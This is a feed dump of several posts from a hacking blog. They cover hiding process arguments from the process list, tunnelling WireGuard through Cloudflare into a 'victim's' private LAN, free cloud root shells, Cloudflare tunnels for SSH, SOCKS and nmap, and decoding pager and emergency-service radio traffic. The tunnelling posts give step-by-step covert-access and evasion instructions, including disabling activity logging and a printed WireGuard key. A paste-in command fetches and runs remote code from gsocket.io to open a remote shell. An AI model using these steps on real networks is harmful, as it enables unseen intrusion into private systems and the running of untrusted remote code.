<span class="hljs-attr">0x7ffca42297f8:</span> <span class="hljs-number">0xe8e8de3a49831f00</span>      <span class="hljs-number">0xdfbf9ede0185cb4</span> <span class="hljs-string">&lt;--</span> <span class="hljs-string">RND16</span>
<span class="hljs-attr">0x7ffca4229808:</span> <span class="hljs-number">0x34365f363878af</span>        <span class="hljs-number">0x0</span>  <span class="hljs-string">&lt;--</span> <span class="hljs-string">"x86_64"</span> <span class="hljs-string">+</span> <span class="hljs-string">'\0'</span>
[<span class="hljs-string">...</span> <span class="hljs-string">below</span> <span class="hljs-string">is</span> <span class="hljs-string">empty</span> <span class="hljs-string">space</span> <span class="hljs-string">from</span> <span class="hljs-string">stack</span> <span class="hljs-string">randomization</span> <span class="hljs-string">...</span>]
[<span class="hljs-string">...</span> <span class="hljs-string">below</span> <span class="hljs-string">are</span> <span class="hljs-string">argv</span> <span class="hljs-string">strings</span> <span class="hljs-string">...</span>]
[<span class="hljs-string">...</span> <span class="hljs-string">below</span> <span class="hljs-string">are</span> <span class="hljs-string">env</span> <span class="hljs-string">strings</span> <span class="hljs-string">...</span>]
[<span class="hljs-string">...</span> <span class="hljs-string">last</span> <span class="hljs-string">is</span> <span class="hljs-string">the</span> <span class="hljs-string">filename</span> <span class="hljs-string">(/root/none)</span> <span class="hljs-string">...</span>]
</code></pre>
<p>Thereafter the kernel allocates stack memory to store the elf-aux-table, the argv- and env-pointers and the argc value (+1) and aligns the top of the stack to 16 bytes. (It does not yet copy the elf-aux-table onto the stack just yet. This happens later):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694703139943/ea499340-0f4c-43ef-865d-7b3abb117915.jpeg" alt class="image--center mx-auto" /></p>
<p>...and then puts the argc, argv-pointers and env-pointers onto the stack:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694699550671/e81d5364-e1ca-4430-85d1-aed8ba36b5d9.jpeg" alt class="image--center mx-auto" /></p>
<p>...and then copies the elf-aux table (elf_info; from above) on the stack (<a target="_blank" href="https://elixir.bootlin.com/linux/v5.19.17/source/fs/binfmt_elf.c#L300">aligned</a>; below the env pointers).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694703262167/5b7d8832-4116-4bec-8d28-34bfefcf37fc.jpeg" alt class="image--center mx-auto" /></p>
<p><em>(The clever reader may have noticed that 'RND16' does not start at an aligned address - 0x7ffca42297f9: It is because RND16 was put on the stack before the</em> <a target="_blank" href="https://elixir.bootlin.com/linux/v5.19.17/source/fs/binfmt_elf.c#L303"><em>STACK_ROUND()</em></a> <em>call to put the elf-info table and env/argv pointers).</em></p>
<p>Now back in load_elf_binary(), the kernel sets the registers, clears some stuff and finally (!) calls <a target="_blank" href="https://elixir.bootlin.com/linux/v5.19.17/source/fs/binfmt_elf.c#L1348">START_THREAD()</a> to start the program.</p>
<p><strong>Afterthought</strong>: Someone pointed <a target="_blank" href="https://lwn.net/Articles/631631/">https://lwn.net/Articles/631631/</a>. Their ASCII art is superior to mine 🫶. It shows the layout of the stack just before execution (but they drew it the other way around; starting with the largest address at the top and the smallest addresses at the bottom):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694724110033/82d347db-00e2-4fd9-8511-aea40f7a67fd.jpeg" alt class="image--center mx-auto" /></p>
<h3 id="heading-how-to-zapper">How to Zapper</h3>
<p>Wheeee. What a ride. For Zapper we ptrace() at the entry-point, increase the stack to make a copy of argv/env-strings, adjust all the pointers to point to 'our' copy of the argv/env-strings and ZERO the original ones to 0x00. The kernel does not know about it and still references the now zero'd argv/env-strings and ...wush..they are gone from the process list.</p>
<hr />
<p>Telegram: <a target="_blank" href="https://t.me/thcorg">https://t.me/thcorg</a> 👈 Releases published here 1 day earlier. 👻</p>
<p>Mastodon: <a target="_blank" href="https://infosec.exchange/@thc">@</a><a target="_blank" href="mailto:thc@infosec.exchange">thc@infosec.exchange</a></p>
<p>Twat: <a target="_blank" href="https://twitter.com/hackerschoice">https://twitter.com/hackerschoice</a></p>
]]></content:encoded></item><item><title><![CDATA[WireGuard into a private LAN via CloudFlare Tunnels]]></title><description><![CDATA[TL;DR: The era of only filtering ingress traffic has come to an end. Differentiating between legitimate and non-legitimate egress traffic is challenging when the attacker uses Cloudflare, Google-drive or AWS.
Introduction
In this article, you will le...]]></description><link>https://iq.thc.org/wireguard-into-a-private-lan-via-cloudflare-tunnels</link><guid isPermaLink="true">https://iq.thc.org/wireguard-into-a-private-lan-via-cloudflare-tunnels</guid><category><![CDATA[wireguard]]></category><category><![CDATA[hacking]]></category><category><![CDATA[Security]]></category><category><![CDATA[cloudflare]]></category><dc:creator><![CDATA[root]]></dc:creator><pubDate>Thu, 10 Aug 2023 11:02:54 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1691665176535/63b1cf92-cff4-4a96-9bf1-2f2fa79ecd1d.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>TL;DR:</strong> The era of only filtering ingress traffic has come to an end. Differentiating between legitimate and non-legitimate egress traffic is challenging when the attacker uses Cloudflare, Google-drive or AWS.</p>
<h3 id="heading-introduction">Introduction</h3>
<p>In this article, you will learn how to use Cloudflare to access a remote private network.</p>
<p>Both, you and the remote private network are behind separate NAT Firewalls in two different parts of the world. There is no direct communication between your workstation and the remote private network.</p>
<p>You will learn how to 'extract' the WireGuard Secrets from Cloudflare and to utilize Cloudflare's tunnels without using their client software.</p>
<p>The assumption is that you have only shell access (no GUI).</p>
<p>This article is an addition to <a target="_blank" href="https://www.guidepointsecurity.com/blog/tunnel-vision-cloudflared-abused-in-the-wild/">GuidePoint's</a> findings. Don't miss our comments at the end of this article. :&gt;</p>
<h3 id="heading-step-1-cloudflare-settings">Step 1: Cloudflare Settings</h3>
<p>Sign up to <a target="_blank" href="https://one.dash.cloudflare.com">Cloudflare Zero Trust</a> (we use <a target="_blank" href="https://temp-mail.org">temp-mail</a>).</p>
<p>Click on 'Explore all products' to get to the dashboard. Click on 'Zero Trust' and choose a teamname. We choose "<strong>0x31337</strong>". Select the 'Free' plan and enter the Credit Card or Paypal information.</p>
<p>In the left menu click "Settings".</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691659094611/d5784a2c-598d-4ee8-b04e-1d279c111ea5.png" alt class="image--center mx-auto" /></p>
<p>Go to "Network" and disable "Activity Logging".</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691659142188/ab1544d6-44d6-420d-bc54-37931491c9fd.png" alt class="image--center mx-auto" /></p>
<p>Under "Firewall" enable "Proxy" and enable TCP, UDP and ICMP.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691665734164/cce518a9-0b5d-4d9c-9551-7df01b27facb.png" alt class="image--center mx-auto" /></p>
<p>Go to "Settings" =&gt; "WARP Client" and "Manage" under "Device enrollment permissions".</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691658901233/bbf6f02e-ffe5-4128-8cce-4dca6bcc9dc4.png" alt class="image--center mx-auto" /></p>
<p>Add a rule. Use the same E-mail or a new email address and click "Save". This email address will later be used to receive a 6-digit authentication code.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691658982409/78f53992-8bb1-413a-9b14-05278eb87b15.png" alt class="image--center mx-auto" /></p>
<p>Go to "Settings" and "Warp Client" and under "Device settings" select "Configure".</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691659368968/c1bb99fb-211a-483b-be7d-58a87b502de4.png" alt class="image--center mx-auto" /></p>
<p>Scroll down to "Split Tunnel" and click "Manage"</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691659403193/bd64d481-ddef-498c-958f-43fabc9b6236.png" alt class="image--center mx-auto" /></p>
<p>Remove them all:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691659454706/3a98ff90-5e76-43a9-8c87-e25d0a2a4263.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-step-2-creating-a-cloudflare-tunnel">Step 2: Creating a Cloudflare Tunnel</h3>
<p>In the left menu click on "Access" and "Tunnels" and "Create a tunnel" (pick any name).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691659659330/2807c87d-41d1-4f97-ba65-0eb31117982d.png" alt class="image--center mx-auto" /></p>
<p>Click on "Debian" and cut &amp; paste the content of the left grey box into the Linux shell on the remote private network.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691659884921/55d3da2b-cdc9-4e3e-9eba-9626438ac890.png" alt class="image--center mx-auto" /></p>
<p>This will automatically install and start the tunnel.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691660496275/2bcf5a98-8c60-4994-b02b-c43a485b5a2d.png" alt class="image--center mx-auto" /></p>
<p>Type "journalctl -u cloudflared -fa" to see the logs.</p>
<p>The Cloudflare Dashboard should now show the connected tunnel:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691660571557/763315eb-6ddf-47ee-aadb-12b7a6eb4fad.png" alt class="image--center mx-auto" /></p>
<p>To the right of the tunnel click on the 3 dots and select "Configure". Click the Tab "Private Network" and "+ Add a private network". Then add "0.0.0.0/0":</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691663998456/c6cac247-3bb1-43a5-bdf8-2d44178296c2.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-step-3-extracting-the-wireguard-configuration">Step 3: Extracting the WireGuard configuration</h3>
<p>We don't want to use the Warp+ client and (normally) we do not have a GUI either. The WARP+ client is just a fancy gimmick to configure WireGuard (the tech that Cloudflare uses under the hood). We need to trick Cloudflare to reveal the actual WireGuard secrets to us so that we can configure WireGuard without using the WARP+ client.</p>
<p>Our Team Name (from Step 1) is "<strong>0x31337</strong>". Open a browser and go to https://0x31337.cloudflareaccess.com. Enter the E-Mail address from Step 1 / Device enrollment rules.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691661685668/349f5f7d-d035-4285-8f7d-ddfd88a0be19.png" alt class="image--center mx-auto" /></p>
<p>Check the email account for the 6-digit code and enter it:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691661768302/12bbdec3-0923-4f41-830c-07c01dfdd4fe.png" alt class="image--center mx-auto" /></p>
<p>Ignore the warning to open the WARP+ app. Instead, extract the (very long) JSON TOKEN from this webpage:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691661836725/64729405-da36-4da7-b2d6-811aed3ec667.png" alt class="image--center mx-auto" /></p>
<ol>
<li><p>Right Click</p>
</li>
<li><p>Inspect Elements</p>
</li>
<li><p>Head</p>
</li>
<li><p>Copy everything after 'token='</p>
</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691662021626/f8f830b2-da74-4650-b0f3-2a3e623f2956.png" alt class="image--center mx-auto" /></p>
<p>Execute 'wgcf-teams' on <a target="_blank" href="https://shell.segfault.net">any Linux shell</a> and cut &amp; paste the long hex-string (the JSON TOKEN) into the application. The tool retrieves the WireGuard Secrets from Cloudflare and displays them:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691662369723/516b76bc-61a0-4bb2-ba13-e9f810674abe.png" alt class="image--center mx-auto" /></p>
<p>This is a valid WireGuard configuration for accessing the remote private network (via Cloudflare) from anywhere in the world. Save this configuration to '/etc/wireguard/wg0.conf' and do a 'wg-quick wg0' to connect.</p>
<p>Alternatively, use a <a target="_blank" href="https://shell.segfault.net">Disposable Root Server</a> and the above credentials to connect your Root Server to the remote private network (using WireGuard):</p>
<pre><code class="lang-powershell"><span class="hljs-built_in">curl</span> sf/wg/up \
      <span class="hljs-literal">-d</span> PrivateKey=YNlEQcxVyMK2/<span class="hljs-number">6</span>KlOsRlllbrlhrKZz3S9RoOABzSXVc= \
      <span class="hljs-literal">-d</span> Address=<span class="hljs-number">172.16</span>.<span class="hljs-number">0.2</span>/<span class="hljs-number">32</span> \
      <span class="hljs-literal">-d</span> Address=<span class="hljs-number">2606</span>:<span class="hljs-number">4700</span>:<span class="hljs-number">110</span>:<span class="hljs-number">8015</span>:<span class="hljs-number">29</span>a6:ee92:<span class="hljs-number">8735</span>:cbe2/<span class="hljs-number">128</span> \
      <span class="hljs-literal">-d</span> PublicKey=bmXOC+F1FxEMF9dyiK2H5/<span class="hljs-number">1</span>SUtzH0JuVo51h2wPfgyo= \
      <span class="hljs-literal">-d</span> Endpoint=<span class="hljs-number">162.159</span>.<span class="hljs-number">192.1</span>:<span class="hljs-number">2408</span> \
      <span class="hljs-literal">-d</span> name=cftest
</code></pre>
<p>From the Root Server, we can now access any host on the remote private network (e.g. test connect to host 10.0.2.15 on port 64222):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691664307820/264bfe67-ff2b-403d-9ecd-1652d7f603b3.png" alt class="image--center mx-auto" /></p>
<p>The request goes from your shell on your Root Server via WireGuard to Cloudflare, then from Cloudflare to the cloudflared process running on the victim's machine and then to the host 10.0.2.15 inside the victim's private network.</p>
<p>All other traffic from the Root Server appears as if coming from the remote private network:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691664845125/15e3f1f4-5624-4147-96f2-50f20974a6eb.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-conclusion">Conclusion</h3>
<p>The era of only firewalling ingress traffic has come to an end. It will be years before the last admin realizes this...</p>
<p>Cloudflare was used solely as an example.</p>
<p>Network protocols are being pushed up the ISO/OSI model into the Application layer and no tools exist to police the traffic.</p>
<p>For example, network monitoring tools can not differentiate between legitimate traffic to <em>s3.\</em>.amazonaws.com* or an attacker using S3 buckets to tunnel WireGuard-over-S3.</p>
<p>....what a time to be alive.</p>
<h3 id="heading-comments">Comments</h3>
<p>The GuidePoint article claims that Threat Actors (TAs) are using this. Here at <a target="_blank" href="https://www.thc.org">THC</a> we feel sorry for such TAs: There are easier ways than using CF. CF does not provide anonymity either (it requires a KYC/AML-compliant Credit Card for registration) or resilience (Losing access to your CF account means losing all your tunnels). We have previously written <a target="_blank" href="https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service">an article</a> on how to use CF's free tunnels (which don't require registration) to tunnel arbitrary data (including WireGuard) into a remote private network. Many other tools and tricks exist.</p>
<p><a target="_blank" href="https://t.me/thcorg">Join us on Telegram</a> to learn more.</p>
<h3 id="heading-thanks">Thanks</h3>
<p>..to Matthew.</p>
]]></content:encoded></item><item><title><![CDATA[Free Linux Cloud Root Shells]]></title><description><![CDATA[A short selection of Cloud-based Linux Root Shells and their resource limits.
Overview:
                  | MEMORY | STORAGE | CPU | comment
------------------+--------+---------+-----+---------
Github Codespace  |  32GB  |    8GB  | 4   | 20Gpbs
Git...]]></description><link>https://iq.thc.org/free-linux-cloud-root-shells</link><guid isPermaLink="true">https://iq.thc.org/free-linux-cloud-root-shells</guid><category><![CDATA[Linux]]></category><category><![CDATA[Security]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[root]]></dc:creator><pubDate>Sat, 08 Jul 2023 23:29:26 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/NLSXFjl_nhc/upload/888501cf9988a4f9eaf3993411347697.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>A short selection of Cloud-based Linux Root Shells and their resource limits.</p>
<p>Overview:</p>
<pre><code class="lang-typescript">                  | MEMORY | STORAGE | CPU | comment
------------------+--------+---------+-----+---------
Github Codespace  |  <span class="hljs-number">32</span>GB  |    <span class="hljs-number">8</span>GB  | <span class="hljs-number">4</span>   | <span class="hljs-number">20</span>Gpbs
GitPod            |  <span class="hljs-number">64</span>GB  |   <span class="hljs-number">50</span>GB  | <span class="hljs-number">8</span>   | fastest I/O
Google Cloudshell |   <span class="hljs-number">8</span>GB  |    <span class="hljs-number">5</span>GB  | <span class="hljs-number">2</span>   | persistent, <span class="hljs-number">1</span><span class="hljs-number">-3</span>Gbps
Google Colab      |  <span class="hljs-number">12</span>GB  |  <span class="hljs-number">128</span>GB  | <span class="hljs-number">2</span>   | <span class="hljs-number">10</span>Gbps
</code></pre>
<p>A community-run alternative is <a target="_blank" href="https://shell.segfault.net">Segfault's Disposable Root Servers</a>.</p>
<p>Access any of these shells remotely. Cut &amp; paste the following into the shell:</p>
<pre><code class="lang-powershell">bash <span class="hljs-literal">-c</span> <span class="hljs-string">"<span class="hljs-variable">$</span>(curl -fsSL https://gsocket.io/x)"</span>
</code></pre>
<h2 id="heading-github-codespace">GitHub Codespace</h2>
<p>Go to <a target="_blank" href="https://github.com/codespaces/new">GitHub Codespace</a>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1688857077867/bb29456a-2297-436e-9ac1-2c101d4e96a3.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-gitpod">GitPod</h2>
<p>Go to <a target="_blank" href="https://www.gitpod.io/">GitPod</a>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1688857043943/e353217f-c637-4945-893d-b5690809178b.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-google-cloudshell">Google Cloudshell</h2>
<p>Go to <a target="_blank" href="https://shell.cloud.google.com/?cloudshell=true&amp;show=terminal">Goolge Cloudshell</a> (<a target="_blank" href="https://dev.to/ndsn/tips-and-tricks-for-using-google-cloud-shell-as-a-cloud-ide-4cek">Article</a>).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1688857112645/9ee1fca6-8c5e-4f0a-9a7a-e1568a8da4f5.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-google-colab">Google Colab</h2>
<ol>
<li><p>Go to <a target="_blank" href="https://colab.research.google.com/?hl=en#create=true">Google Colab</a>. There is no shell console by default. Install gsocket to log into the shell console remotely.</p>
</li>
<li><p>Insert `!bash -c "$(curl -fsSL https://<a target="_blank" href="http://gsocket.io/x">gsocket.io/x</a>)"` and press the play button</p>
</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1688847749752/ee19c651-69d6-43a3-901e-83e7d1e37daa.png" alt class="image--center mx-auto" /></p>
<ol>
<li>Use any of the 3 gsocket commands to connect to the root shell remotely.</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1688847658537/c5ec2c6e-4302-46ba-8096-caeb5b8d1742.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1688857799488/29b5fd9a-ed3c-46f3-ae26-0bebae40224e.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[Tunnel via Cloudflare to any TCP Service]]></title><description><![CDATA[Cloudflare's cloudflared tunnels are commonly used to 'publish' a web server that runs behind a firewall (e.g. making the webserver accessible from the Internet). Cloudflare restricts the traffic to HTTP-style traffic: It won't allow the publishing o...]]></description><link>https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service</link><guid isPermaLink="true">https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service</guid><category><![CDATA[hacking]]></category><category><![CDATA[networking]]></category><category><![CDATA[cloudflare]]></category><dc:creator><![CDATA[root]]></dc:creator><pubDate>Fri, 21 Apr 2023 13:12:33 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1682084345443/41875114-81f2-4c7d-981b-6f3343dae673.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Cloudflare's cloudflared tunnels are commonly used to 'publish' a web server that runs behind a firewall (e.g. making the webserver accessible from the Internet). Cloudflare restricts the traffic to HTTP-style traffic: It won't allow the publishing of SSHD for example.</p>
<p>This article explains how to 'publish' any other service (like SSHD) and make it accessible via the cloudflared tunnel. It does so by adding a <em>WebSocket Proxy</em> on either side of the tunnel.</p>
<p>You need <a target="_blank" href="https://github.com/vi/websocat">websocat</a>, <a target="_blank" href="https://github.com/cloudflare/cloudflared/releases">cloudflared</a> and <a target="_blank" href="https://v2.gost.run/en/">gost</a>.</p>
<p>UPDATE-2024-11-23: <a target="_blank" href="https://github.com/doxx/darkflare">DarkFlare</a> is the same as websocat+cloudflared but as a single binary. Use that.</p>
<h2 id="heading-example-1">Example 1:</h2>
<p>Configure a tunnel to access SSHD on a server that is behind the firewall (via Cloudflare's cloudflared tunnel).</p>
<p>On the server behind the firewall:</p>
<pre><code class="lang-bash"><span class="hljs-comment">### Start a WS &lt;-&gt; TCP forwarder</span>
websocat -E -b ws-l:127.0.0.1:40008 tcp:127.0.0.1:22 &amp;
<span class="hljs-comment">### Create a free CF Tunnel:</span>
cloudflared tunnel --url http://localhost:40008 --no-autoupdate
</code></pre>
<p>The CF tunnel will show you an URL similar to this one:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1682078309773/de6ec474-dfc5-4584-a886-2f749ae29306.png" alt class="image--center mx-auto" /></p>
<p>On your workstation:</p>
<pre><code class="lang-bash"><span class="hljs-comment">### Start a TCP &lt;-&gt; WS forwarder to above URL</span>
websocat -E -b tcp-l:127.0.0.1:2222 ws://&lt;YourUrlFromAbove&gt;.trycloudflare.com &amp;
<span class="hljs-comment">### Connect using SSH:</span>
ssh -p 2222 root@127.0.0.1
</code></pre>
<hr />
<h2 id="heading-example-2">Example 2:</h2>
<p>A more advanced method is to add a Socks5 Proxy to the chain of tunnels. This will allow us to access <strong><em>ANYTHING</em></strong> from our workstation: That's any host within the LAN and any host on the Internet.</p>
<p>The <a target="_blank" href="https://github.com/ginuerzh/gost/blob/master/README_en.md">Gost</a> tool supports WS and Socks5 and is used instead of <code>websocat</code> and <code>microsocks</code>.</p>
<p>On the server behind the firewall:</p>
<pre><code class="lang-bash">gost -L mws://:40009 &amp;
cloudflared tunnel --url http://localhost:40009 --no-autoupdate
</code></pre>
<p>On your workstation:</p>
<pre><code class="lang-bash">gost -L :1080 -F <span class="hljs-string">'mwss://&lt;YourUrlFromAbove&gt;.trycloudflare.com:443'</span>
</code></pre>
<p>Use some tools via the Socks Tunnel (via Cloudflare/Websocket):</p>
<pre><code class="lang-bash"><span class="hljs-comment">### Access ipinfo.io via this tunnel</span>
curl -x socks5h://0 ipinfo.io

<span class="hljs-comment">### Create a ProxyChains configuration</span>
<span class="hljs-built_in">echo</span> -e <span class="hljs-string">"[ProxyList]\nsocks5 127.0.0.1 1080"</span> &gt;pc.conf
<span class="hljs-comment">### SSH to 192.168.1.1 via the tunnel</span>
proxychains -f pc.conf -q ssh root@192.168.1.1
<span class="hljs-comment">### Use NMAP via our tunnel</span>
proxychains -f pc.conf -q nmap -nF -Pn -sT --open scanme.nmap.org
</code></pre>
<p>Notes:</p>
<ol>
<li><p>Cloudflare's Free Service <a target="_blank" href="https://developers.cloudflare.com/support/network/using-cloudflare-with-websockets/">limits the number of connections</a>. Consider upgrading.</p>
</li>
<li><p>We use <code>mwss</code> and <code>mws</code> to enable TCP multiplexing (channelling) via a single TCP connection in Gost. All TCP connections will go via a single CF tunnel (and a single Websocket-request).</p>
</li>
<li><p>We use wss (with TLS) on the workstation but just ws (without TLS) on the server. This is because Cloudflare is the Edge-Server and the TLS connection stops there. Cloudflare then re-encrypts the data to send it via Cloudflared to our server. A Cloudflare tunnel is never (!) End-2-End encrypted: Use SSH or other encrypted tools if you do not trust CloudFlare (as they can read your data).</p>
</li>
</ol>
<p>All examples from this article were tested on <a target="_blank" href="https://www.thc.org/segfault">Segfault's Disposable Root Servers</a>.</p>
<p><em>Thank you to</em> <a target="_blank" href="https://www.qsocket.io"><em>EMX</em></a> <em>for proofreading.</em></p>
<blockquote>
<p>Like to publish an article? Send us what you got. We will review and help you improve your article and then publish it here.</p>
<p>Join us on Telegram: <a target="_blank" href="https://t.me/thcorg">https://t.me/thcorg</a></p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[LSDR - Linux and Software Defined Radio 101]]></title><description><![CDATA[LSDR - Linux and Software Defined Radio 101
0x00 Preface
Having started my journey w/ Linux and SDR in 2012, back then I had to manually compile lots of stuff, sometimes including a dependency hell. Still, there was already alot going on - a growing ...]]></description><link>https://iq.thc.org/lsdr</link><guid isPermaLink="true">https://iq.thc.org/lsdr</guid><dc:creator><![CDATA[d1g]]></dc:creator><pubDate>Thu, 08 Sep 2022 17:41:46 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1667584214879/bs3VUdgmJ.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-lsdr-linux-and-software-defined-radio-101">LSDR - Linux and Software Defined Radio 101</h1>
<h2 id="heading-0x00-preface">0x00 Preface</h2>
<p>Having started my journey w/ Linux and SDR in 2012, back then I had to manually compile lots of stuff, sometimes including a dependency hell. Still, there was already alot going on - a growing codebase from the <a target="_blank" href="https://en.wikipedia.org/wiki/GNU_Radio">GNU Radio project</a> combined w/ <a target="_blank" href="https://osmocom.org/">OsmoCom</a> code and a cheap and easily affordable Realtek chipset based DVB-T receiver already opened up a whole world of possibilities. I later on bought a <a target="_blank" href="https://en.wikipedia.org/wiki/HackRF_One">HackRF One</a> and there also was the <a target="_blank" href="https://rad1o.badge.events.ccc.de/">rad1o badge</a> from the german hacker camp in 2015, both offering a even broader frequency range of up to 4 or 6 GHz as well as transceiver capabilities.</p>
<h2 id="heading-0x01-hw">0x01 H/W</h2>
<p>I recently got ahold of <a target="_blank" href="https://www.nooelec.com/store/sdr/sdr-receivers/nesdr-smartee-sdr.html">NESDR SMArTee v2</a> and <a target="_blank" href="https://www.nooelec.com/store/sdr/sdr-receivers/nesdr-smart-xtr-sdr.html">NESDR SMArT XDR</a> receivers at a friendly <a target="_blank" href="https://en.wikipedia.org/wiki/Hackerspace">hackerspace</a> and wanted to dive a little bit deeper into the world of radiowave reconnaissance. Both devices have a RTL2832U Demodulator/USB interface IC, the v2 has a R820T2 tuner and the XDR a E4000 tuner. They are also physically designed to fit side by side in a <a target="_blank" href="https://en.wikipedia.org/wiki/Raspberry_Pi">RPi</a> device that might be nice to place e.g. in the attic or at some other remote location. In general, you can just look for "RTL SDR" at your favorite shopping site and you will find lots of cheap alternatives to the H/W mentioned above.</p>
<h2 id="heading-0x02-sw">0x02 S/W</h2>
<p>Running <a target="_blank" href="https://en.wikipedia.org/wiki/Debian">Debian GNU/Linux</a> on nearly all of my computational devices, I started from scratch to setup the S/W and tools required to actually use the RTL-SDR devices, which turned out to be as simple as never before. Basically, all I had to do was installing a few required packages along w/ their automatic dependencies via apt:</p>
<p><code>sudo apt install gqrx-sdr multimon-ng sox rtl-433 cubicsdr librtlsdr-dev opencpn -y</code></p>
<p>as well as some more specific tools via python pip:</p>
<p><code>pip install --user pyModeS pyrtlsdr</code></p>
<p>and via git:</p>
<p><code>git clone https://github.com/TLeconte/acarsdec.git</code> (for <a target="_blank" href="https://en.wikipedia.org/wiki/ACARS">ACARS</a>)</p>
<p><code>git clone https://github.com/jvde-github/AIS-catcher.git</code> (for <a target="_blank" href="https://en.wikipedia.org/wiki/Aeronautical_Information_Service">AIS</a>)</p>
<h2 id="heading-0x03-pocsag">0x03 POCSAG</h2>
<p>After having built and/or installed all required S/W, recon got started by firing up <code>gqrx</code> on the lookout for data transmitted over the air, and the first thing I stumbled upon was a periodical broadcast of data that distantly remembered me of the old modem era, and which - after some research - turned out to be one or another form of <a target="_blank" href="https://en.wikipedia.org/wiki/Radio-paging_code_No._1">POCSAG</a>. This protocol is basically used for text paging (yes, skyper xD) all around the globe and wikipedia gives you a quite lengthy list of actual frequencies to play with.</p>
<p>To be able to decode the messages into their (alpha-)numeric format, we already installed <a target="_blank" href="https://github.com/EliasOenal/multimon-ng">multimon-ng</a> and could now pipe the data from gqrx (after having clicked on UDP in the receiver options tab) directly into sox (to convert the raw audio to multimon-ng's native raw format) and then into multimon-ng:</p>
<p><code>nc -l -u localhost 7355 | sox -t raw -esigned-integer -b 16 -r 48000 - -esigned-integer -b 16 -r 22050 -t raw - | multimon-ng -t raw -a POCSAG512 -a POCSAG1200 -a POCSAG2400 -p --timestamp - </code></p>
<p>The output might look something like this:</p>
<p><code>2022-09-08 17:41:49: POCSAG1200: Address:   xxxxx  Function: 3  Alpha:   A: 08.09.22 17:27:18 B165 Anckelmannsplatz NSK (20m) Pegel L089-5.00 mNN Erreicht </code></p>
<p>The data comes in at bursts every few seconds and includes lots of different information which might be the wet dream of passive information gathering affected hackers.</p>
<h2 id="heading-0x04-fms-fsk">0x04 FMS FSK</h2>
<p>Reading the man page, multimon-ng decodes a bunch of different other radio transmissions, so it might make sense to add more demodulators to be able to spot them in the overwhelming amount of broadcasted data. One of these is FMS which seems to be used to transmit at least some elements of the status of police, ambulance or even governmental agencies (BGS, BKA) cars either going to, arriving at or coming from their place of action. Output received might look like:</p>
<p><code>2022-09-08 18:04:49: FMS: xxxxxxxxxxxx (d=Rettungsdienst        a=Rheinland-Pfalz       Ort xxxx=xxx    FZG xxxx        Status 2=Einrucken/Abbr 1=LST-&gt;FZG      0=I  (ohneNA,ohneSIGNAL)        ) CRC INCORRECT (22)
</code></p>
<p>and seems to also include the state of the car's blue rooftop light and/or siren, which might serve as a form of protocol for their control station as well.</p>
<h2 id="heading-0x05-pocsagfms-recap">0x05 POCSAG/FMS Recap</h2>
<p>Collecting the POCSAG and FMS data over a period of time gives you a nice base for correlation and more recon, e.g. by looking up parts of the messages, certain terms used in them and by checking out different frequencies which might contain a different spectrum of message types. What I saw so far are not only the mentioned messages, but also:</p>
<ul>
<li>data from server monitoring</li>
<li>information about incoming tickets and/or e-mail</li>
<li>license plate readers at big companie's truck gates</li>
<li>stock market trading</li>
<li>uninterruptible power supplies</li>
<li>detailed messages of ambulance dispatches</li>
<li>burglary alarms </li>
</ul>
